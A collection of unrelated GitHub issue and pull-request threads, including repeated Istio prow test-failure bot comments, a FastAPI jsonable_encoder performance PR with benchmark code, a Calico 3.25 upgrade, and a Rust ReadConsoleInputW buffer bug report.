prow/istio-pilot-e2e.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
fbe84fb6dae59e32482ad6521523f175c7c0563f
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e

prow/istio-unit-tests.sh
daf6c8daa9d493e6730fc3124fdf8d43058b96d4
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e

prow/istio-unit-tests.sh
daf6c8daa9d493e6730fc3124fdf8d43058b96d4
link
/test istio-unit-tests

prow/istio-presubmit.sh
daf6c8daa9d493e6730fc3124fdf8d43058b96d4
link
/test istio-presubmit

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
055d3cf52c1f9d361edf0cf979e82c52ab23fef5
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
3131a851dfc7390421d50db56e065b083d5140ee
link
/test istio-pilot-e2e

prow/e2e-bookInfoTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-bookInfo

prow/e2e-simpleTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-simple

prow/istio-pilot-e2e-v1alpha3.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-bookInfoTests.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-simple

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e-v1alpha3.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-bookInfo

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/istio-pilot-e2e.sh
cc8e394dcaa642001fc6d52d6690f717cfb0777f
link
/test istio-pilot-e2e

prow/e2e-simpleTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test istio-pilot-e2e-v1alpha3

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test istio-pilot-e2e

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.

@costinm: The following tests failed, say /retest to rerun them all:

Test name
Commit
Details
Rerun command

prow/e2e-simpleTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-simple

prow/e2e-bookInfoTests.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test e2e-bookInfo

prow/istio-pilot-e2e-v1alpha3.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test istio-pilot-e2e-v1alpha3

prow/istio-pilot-e2e.sh
1f9e39c02635c2eaf9cf5b94c78d5f9d105cbf49
link
/test istio-pilot-e2e

prow/istio-unit-tests.sh
c29c51cfa9ad57b894372f1ff2656c63c0608004
link
/test istio-unit-tests

Instructions for interacting with me using PR comments are available here.  If you have questions or suggestions related to my behavior, please file an issue against the kubernetes/test-infra repository. I understand the commands that are listed here.


Add site getbring.com

Hello @verb
This repo has been abandoned for years now. We keep an active detached fork on https://github.com/jdm-contrib/jdm, if you'd like to contribute it there :)

Ah, thanks @tupaschoal for the redirect. Looks like this site has already been added to https://justdeleteme.xyz/

Ah, great!


We might want to avoid closing the client when we close the Operator.

Currently, the KubernetesClient instance is passed externally to the Operator. I am wondering if its a good idea to close it when we close the Operator, given that its created externally and we can't possibly know who else is using it.
For example, in a test one may close the operator and use the client to perform some cleaning up afterwards, which could possilby lead to issues.
I don't have a strong opinion about it, but my experience from the kubernetes-client tells me that each time we took liberty to close objects passed externally, it didn't end up well and that's why I am bringing this up for discussion.

@csviri should we change this for v2?

Yes, we can have it in v2 IMHO

Added a flag to be able to avoid this, IMHO this is now the common behavior, how users use it. So the default remains to close the client.


Multiple templates

I already use this for a website project, works like a charm!
I think you're going to like the new /html.template hidden demo :)

Thanks a lot!
Do you have other planned additions under your belt, or should I publish a new version?

Thanks! Nothing for now, a new version would be great! :)


Support for ProtonMail

Good evening @k9mail developers!
While I am still waiting for Dark Mail (website) to come out, I have switched to ProtonMail for now, which offers a double encryption using RSA-2048 and AES-256 as described in their security features. Even though they're developing their service with heart-blood and have a GitHub account @ProtonMail, their source code is not available (yet). Nevertheless, I would love to be able to use ProtonMail through the k-9 interface on my mobile device. Means, k-9 would need to support that double encryption. Can you add this feature, please?

We certainly won't add direct support for some proprietary email encryption.
However, I am open to accepting patches that extend the existing crypto provider interface to work with arbitrary crypto schemes.

So how about https://tutanota.com/ ?
It's Open Source and so is the official android app. It should be easy to implement the app and they are using well-known encryption standards.

Please open a new issue for separate issues.


Added Footer to all the Webpages. #

Added Footer to all the Webpages. Added responsive footer to all the webpages displaying necessary links, both in English and Kannada language

@soumya-badkul great work


[Airbrake] [Production] responseText is only available if responseType is '' or 'text'.

Airbrake error: #1947
Airbrake project: datanator_frontend
Error type: InvalidStateError
Error message: responseText is only available if responseType is '' or 'text'.
Where: <no information>
Occurred at: Jun 12, 2020 17:08:49 UTC
First seen at: Jun 12, 2020 17:08:49 UTC
Occurrences: 0 (0 since last deploy on <no information>)
Severity: error
URL: https://datanator.info/stats
File<EMAIL_ADDRESS>Backtrace:
https://datanator.info/static/node_modules/@bruit/component/dist/esm-es5/bruit-core_4.entry.js:8480:in
https://d33wubrfki0l68.cloudfront.net/bundles/fc6f517048dfaefbd790678d19c5d39a8b3682de.js:1:in pe</t.prototype._instrument/</XMLHttpRequest.prototype.send/this.onreadystatechange

Bruit appears to be down.
I changed the feedback window to not automatically close so that it displays any errors.

AirBrake is working again


Companyview

Current coverage is 57.86%

Merging #62 into master will not affect coverage as of 66c3440

@@            master     #62   diff @@
======================================
  Files           13      13
  Stmts          178     178
  Branches         0       0
  Methods          0       0
======================================
  Hit            103     103
  Partial          0       0
  Missed          75      75

Review entire Coverage Diff as of 66c3440

Powered by Codecov. Updated on successful CI builds.


Unsound call to ReadConsoleInputW

According to MS Docs, the buffer parameter of ReadConsoleInputW takes a pointer to an array of INPUT_RECORD structures. It may probably be UB to call this extern function with a [u8; 1] as a buffer.

Good catch. Seems you're right. While I can't judge the size of INPUT_RECORD at a glance, it seems to be at least larger than a u8 so that could probably cause the OS to overwrite the stack space.
As i see it there are two options:
A: find the maximum size of INPUT_RECORD and allocate that instead of just an u8 (we don't care about the data so just calculating the required number of bytes and allocate [u8; INPUT_RECORD_SIZE] should suffice)
B: Pull inn Winapi as a dependecy and use their definition of INPUT_RECORD and allocate one of that instead of a u8 (should be able to add a minimum to compile times by just enabling the wincontypes feature).
I'll have to find time to sit down soon and fix this as it should be a high priority to avoid potential problems.

Thanks for quick response! I have already finished a fix and will soon create a pull request for your review.

No problem, glad you caught the error. A PR would be greatly appreciated! I'll prioritize the review so we get the fix out :)


readAirspace incorrectly parses SFC lower altitude

https://github.com/Airspace-Encounter-Models/em-core/blob/master/matlab/utilities-1stparty/airspace/readAirspace.m
There are cases where the LOWER_CODE is SFC and the LOWER_VAL is not 0, it is equal to 700 and sometimes 1200. I was looking through this document (attached) I found on the FAA website regarding Class E airspace and I notice that the floor for class E airspace is typically at 700 AGL and 1200 AGL. It seems then that if the LOWER_CODE is SFC, the resulting value (LOWER_VAL) is in AGL.
For example, consider Sibley Class E airspace. In the CSV, it is listed at LOWER_VAL = 700. When I look at the VFR sectional, this airspace is denoted by the purple magenta. According to online sources, this represents a class E transition area where the floor drops to 700 ft AGL, outside of the purple magenta, it is 1200 ft AGL.

Bug fixed expected in upcoming pull request in July

Addressed by 85f5a97


Upgrade Calico to 3.25.0

Summary
Upgrade Calico to 3.25.0
Changes

Get new calico manifests from 3.25.0 release
Update docs for how to customize calico manifest
Remove the separate s390x flavour, upstream Calico supports s390x out of the box now, see manifest below.

Testing

Single node
Cluster with vxlan.
Cluster with BGP.

 calico/node:v3.25.0 architectures
$ docker manifest inspect calico/node:v3.25.0
{
   "schemaVersion": 2,
   "mediaType": "application/vnd.docker.distribution.manifest.list.v2+json",
   "manifests": [
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 2214,
         "digest": "sha256:0745f9a52bef94dc9f80d78e705726d95e03e9f04ced65226af63da422c39656",
         "platform": {
            "architecture": "arm",
            "os": "linux",
            "variant": "v7"
         }
      },
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 737,
         "digest": "sha256:56db28c3632192f56a1ff1360b83ef640fc8f41fa21a83126194811713e2f022",
         "platform": {
            "architecture": "amd64",
            "os": "linux"
         }
      },
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 2425,
         "digest": "sha256:5edeb4c9f9c3e8a1d1c7c50d174ca6511b902710a901636e94767762bacbb012",
         "platform": {
            "architecture": "s390x",
            "os": "linux"
         }
      },
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 944,
         "digest": "sha256:ced1834e93fd9d7ab7752fd4cf7d645d77f3b0940cb3e7acf71549d44a62d04b",
         "platform": {
            "architecture": "arm64",
            "os": "linux"
         }
      },
      {
         "mediaType": "application/vnd.docker.distribution.manifest.v2+json",
         "size": 2424,
         "digest": "sha256:538b47778eea82d6d37c11002dabd290e004843bdd8117bbd6b2fc3769882fa3",
         "platform": {
            "architecture": "ppc64le",
            "os": "linux"
         }
      }
   ]
}

I am afraid we may need to update the calico/upgrade.py script to force the same cni.yaml across all nodes of the same version.
When the snap refreshes we reload the cni. In case of a cluster where some of its nodes got updated to a new version (eg they went from 1.26 to 1.27) and some others that are fresh installs (ie snap installed to 1.27) we would have a mixture of old and new calico cnis and old ones. During a refresh, depending on which node gets refreshed the cluster will bounce between the two versions.

I would say that we are fine. We do not apply the CNI again, we rather just rollout restart the pods https://github.com/canonical/microk8s/blob/34412f66e0ca456215163b26adeef3f65251cf13/microk8s-resources/default-hooks/reconcile.d/10-cni-restart#L15-L25


[CLOSED] Setup build process with local properties file based on username

 Issue by GoogleCodeExporter
Monday May 11, 2015 at 15:04 GMT
Originally opened as https://github.com/twogee/missing-link/issues/3

Setup build process with local properties file based on username

* Include a sample properties file with sensitive data not included
* Build project into a single jar
* Build source jar
* Build javadocs
* Build api (javadoc) zip
* Build distribution folder with binary, source and javadocs
* Build distribution zip

Original issue reported on code.google.com by<EMAIL_ADDRESS>on 13 Mar 2011 at 6:02

 Comment by GoogleCodeExporter
Monday May 11, 2015 at 15:04 GMT

Original comment by<EMAIL_ADDRESS>on 19 Mar 2011 at 12:01

Added labels: Milestone-1.0.1
Removed labels: Milestone-Release1.1

 Comment by GoogleCodeExporter
Monday May 11, 2015 at 15:04 GMT

Original comment by<EMAIL_ADDRESS>on 19 Mar 2011 at 12:01

Added labels: Milestone-Release1.1

 Comment by GoogleCodeExporter
Monday May 11, 2015 at 15:04 GMT

Original comment by<EMAIL_ADDRESS>on 19 Mar 2011 at 2:27

Added labels: Project-ant-http

 Comment by GoogleCodeExporter
Monday May 11, 2015 at 15:04 GMT

Done, no need for local props

Original comment by<EMAIL_ADDRESS>on 19 Mar 2011 at 2:18

Changed state: Verified

 Comment by twogee
Monday May 11, 2015 at 21:26 GMT

This issue was moved to twogee/ant-http#3

 Comment by twogee
Monday May 11, 2015 at 21:31 GMT

This issue was moved to twogee/ant-http#3

 Comment by twogee
Monday May 11, 2015 at 21:34 GMT

This issue was moved to twogee/ant-http#3


docs(ADR-114): Partly Undo ADR 109 (Reduce Go API Surface)

Closes #2896

PR checklist

[ ] Tests written/updated
[ ] Changelog entry added in .changelog (we use unclog to manage our changelog)
[ ] Updated relevant documentation (docs/ or spec/) and code comments
[ ] Title follows the Conventional Commits spec

Not 100% ADRs need to be backported. Since we're publishing ADRs in https://docs.cometbft.com/v1.0/references/architecture/ I'll go ahead and backport this.

Copying @tac0turtle if you get a chance to peek at this before our chat next Wednesday, that would be great! If not, we'll cover this in our chat, no pb.


Introduce Generic Service and ServiceTemplate

Introduce ServiceTemplateGeneric and ServiceGeneric classes. They are the base class for all future services based on generic types.
The ServiceGeneric defines a set of interfaces corresponds to the generic automate state machine introduce in https://github.com/ManageIQ/manageiq-content/pull/24. Currently only the methods needed for provisioning. More methods can be added for retirement and reconfigure.
@miq-bot assign @gmcculloug
@tinaafitz please review

@bzwei Please clean up the empty line warnings.


Ensure that data duplication by "contents" field in sample_composition is acceptable

This commit https://github.com/josenavas/labman/commit/b9053ec776f1e0193cdfca9a01bbd0da783c39c3 added a new field to the sample_composition table called "content" (this field name really could use some work ...).  It is a fix for issue #34 . This new field contains one of two values, depending on whether the sample_composition record represents an experimental sample or not.  If it is an experimental sample, the "content" field contains a concatenation of the sample_id column value plus underscore plus the plate id of the plate that the well containing this sample is on plus underscore plus the well id (A1, etc) of the well containing this sample.  If, on the other hand, the sample_composition is for something other than an experimental sample (like a control, an empty, etc), then the content field contains a concatenation of the sample_composition_type.external_id for the sample_composition_type field value for this record, plus underscore plus the plate id of the plate that the well containing this sample is on plus underscore plus the well id (A1, etc) of the well containing this sample.
The red flag about this is that it duplicates the information about a sample composition's plate and well location.  In the original design of the database, that information was available ONLY by going from sample_composition.composition_id to composition.container_id to the well.container_id with that container_id, from which one could get the row, column, and plate of the well.  But now that info also exists encoded in a string in the sample_composition.content, and having info in two places means that those two representations COULD get out of sync with each other.  It also encourages users of the db to be lazy and get the plate and well info by parsing the "content" string, rather than following the intended  (and foreign-key-enforced) join path to get the information from where it is supposed to live.
That said, as far as I can tell it, this duplication doesn't actually break any expected use-cases for the db, because each composition is supposed to belong to only one container (e.g., well), so it should be the case that the content (including well and plate id) can be unchanging.

Let's make a decision about whether this is acceptable before full launch; post launch schema changes and migrating data would be preferable to avoid.

@AmandaBirmingham @wasade No movement on this in 8 days - would it be better to debate it here or have a meeting over it?

Making it a high priority, at least w/respect to making a decision.


Update tool_sam.css

Update so that the clickable area for a multiple choice question answer does not include white space which causes inadvertent changes by students when using touch screens or clicking in the whitespace for whatever reason.
With touchscreen laptops this is becoming a serious problem.

Hi conder,
Could you please adjust the title to include the JIRA issue number?

Yeah, it can't possibly be SAK-2556 as in the branch, do you mean SAM-2556 ?


Cannot find module 'moment'

Hey, so I tried loading this up in my app but Ember complains about the 'moment' module being missing in the JS Console. I tried installing the moment package in both npm and bower, but the fact that it's looking for a 'module' suggests that it's actually an Ember thing it's looking for.
Any suggestions?

Interesting. I'll have a look!

Actual error might be a little more helpful:

Uncaught Error: Could not find module moment imported from ember-time-input/components/time-input

Thanks. I should mention, currently this will output a moment style date. Are you using regular date objects?

I'm not using anything at the moment.. this is a brand new app I'm building and needed a formatted time input field, which led me to your component. I'm not picky about what kind of object it outputs, as long as I can serialize it and save it into an Ember model to ship off to the backend.

Perfect. I'll look at getting this to work with a vanilla app, but probably won't have something for you until tomorrow.
If you want an immediate solution, this addon is working fine in my ember apps. They are using ember-moment which imports bower through ember-cli-moment-shim. Are you using ember-cli?

Reproduced in https://github.com/bdvholmes/ember-time-input-example/commit/3ad95177de05c0c9dcadfeacb44babfc1711bfda

Ok sorry about that, should be working now with v0.0.6. Be sure to run
ember g ember-time-input

Please don't hesitate to open other issues, I'd love to know how you get on :-)


Improved Performance and Refactor of jsonable_encoder

Description
The current json_encoder function is slow, for several reasons, but the main reason being it runs the slow isinstance function for each potential type. I rearranged the comparsions to favour the most common types first as well as implement a direct type comparsion for the most common types. Additionally, in order to implement this it was neccessary to extract each type's parsing code into their own functions.
Benchmark

Old
New

Can you share how you have benchmarked this?

I lost the original benchmark I used, I recreated it but it's not exact. I took some schemas from my own project, applied the jsonable_encoder to them 10,000 times and used vprof to record the results. I felt the example data I used for the benchmarking was appropriate because it's from a real world example as well as making use of several features in the jsonable_encoder such as enums, custom encoders, and nested BaseModels.

vprof -c p benchmark.py

benchmark.py

from schemas import Post
from fastapi.encoders import jsonable_encoder

sample_data = {"id":<PHONE_NUMBER>,"created_at":<PHONE_NUMBER>.2500513,"uploader":<PHONE_NUMBER>,"deleted": False,"source": "https://twitter.com/AdvosArt/status/1584520218507759616","rating": "unrated","full": {"url": "https://api.openbooru.org/media/pK5zTCOH30.webp","mimetype": "image/webp","height": 1024,"width": 1024,"type": "image"},"preview": {"url": "https://api.openbooru.org/media/35-uazKb9L.webp","mimetype": "image/webp","height": 750,"width": 750,"type": "image"},"thumbnail": {"url": "https://api.openbooru.org/media/GchBJhBbDU.webp","mimetype": "image/webp","height": 180,"width": 180,"type": "image"},"media_type": "image","hashes": {"md5s": ["56dcedb90a8fb6ad71a860eedc0ff45b","d23734ecbbcbdd188a7517dbed5cdbeb","7a2ad52ad62bb072deb581ffd47db3f6","48c965935f573a611b739688a7c18ccb"],"sha256s": ["0bbb7631d0c623f20c9aec346e65abe5272c03fa7ec68dd59771c86f21beed01","1dcd78fe0fb5c32f4caeb93c13773f3121acd15b1c74f53ee1f134c08a14870a","dae6dc9c6928c9f2cfb79a2f4652593e28922b98f186b817295945634312af24","8afff20da8b889ced57945505394db037b5f4505efbcd091323c57c2419cfbbe"],"phash": [ ]},"tags": ["image","advosart"],"comments": [ ],"edits": [ ],"upvotes": 0,"downvotes": 0}
post = Post.parse_obj(sample_data)

for _ in range(10_000):
    jsonable_encoder(post)

schemas.py

from pydantic import BaseModel as _PydanticBaseModel, Field
from enum import Enum
import time

class BaseModel(_PydanticBaseModel):
    class Config:
        smart_union = True
        json_encoders = { bytes: lambda _bytes: _bytes.hex() }

class MediaType(str, Enum):
    image = "image"
    animation = "animation"
    video = "video"

class Rating(str, Enum):
    unrated = "unrated"
    safe = "safe"
    sensitive = "sensitive"
    mature = "mature"
    explicit = "explicit"

class BaseMedia(BaseModel):
    url: str = Field(...)
    mimetype: str = Field(...)
    height: int = Field(...)
    width: int = Field(...)
    type: MediaType

class Image(BaseMedia):
    type: MediaType = Field(default=MediaType.image)

class Animation(BaseMedia):
    duration: float = Field(...)
    frame_count: int = Field(...)
    duration:float = Field(...)
    type:MediaType = Field(default=MediaType.animation)

class Video(BaseMedia):
    has_sound: bool = Field(...)
    duration: float = Field(...)
    fps: str = Field(...)
    type:MediaType = Field(default=MediaType.video)

class Hashes(BaseModel):
    md5s: list[bytes] = Field(default_factory=list, description="A list of MD5 Hashes")
    sha256s: list[bytes] = Field(default_factory=list, description="A list of SHA2 256bit Hashes")
    phashes: list[bytes] = Field(default_factory=list, description="A list of SHA2 256bit Hashes")

GenericMedia = Image | Animation | Video

class Post(BaseModel):
    id: int = Field(..., lt=2**64)
    created_at: float = Field(default_factory=time.time)
    uploader: int|None = Field(default=None)
    deleted: bool = Field(default=False)
    source: str = Field(default="")
    rating: Rating = Field(default=Rating.unrated)

    full: GenericMedia = Field(...)
    preview: GenericMedia|None = Field(default=None)
    thumbnail: Image = Field(...)

    media_type: MediaType = Field( ...)
    hashes: Hashes = Field(default_factory=Hashes)

    tags: list[str] = Field(default_factory=list, unique_items=True)
    comments: list[int] = Field(default_factory=list)

    upvotes: int = Field(default=0)
    downvotes: int = Field(default=0)

I re-ran the benchmarks after all the bug fixes: 2.2x Speedup

New
Old


API Keys

An API key is needed to access the GitHub API. However this personal access token cannot be visible on a public repository. Or else GitHub automatically revokes the token.

We have decided not to use the GraphQL endpoint at this current stage. As it would require setting up an endpoint that can verify out GitHub access token. This is beyond the scope of this site.


Use a shared connection pool for each networks Store in a graph-node process

@olibearo is this done?

Yes!


Update Knative to 0.25 + cherry-pick E2E refactor

Changes

:broom: Update Knative to 0.25 release
:broom: E2E test refactor

@lkingland I think you'll need to consent to keep google bot happy

@googlebot I consent.

@lance @lkingland nice to see green CI once a while. It seems to be ready. :)


Update content on API Programmer's Guide (version 2.1) to include NIH at-home testing standards

Problem statement

As a ReportStream API user, I want to have instructions on how to submit data reporting for at-home test results.

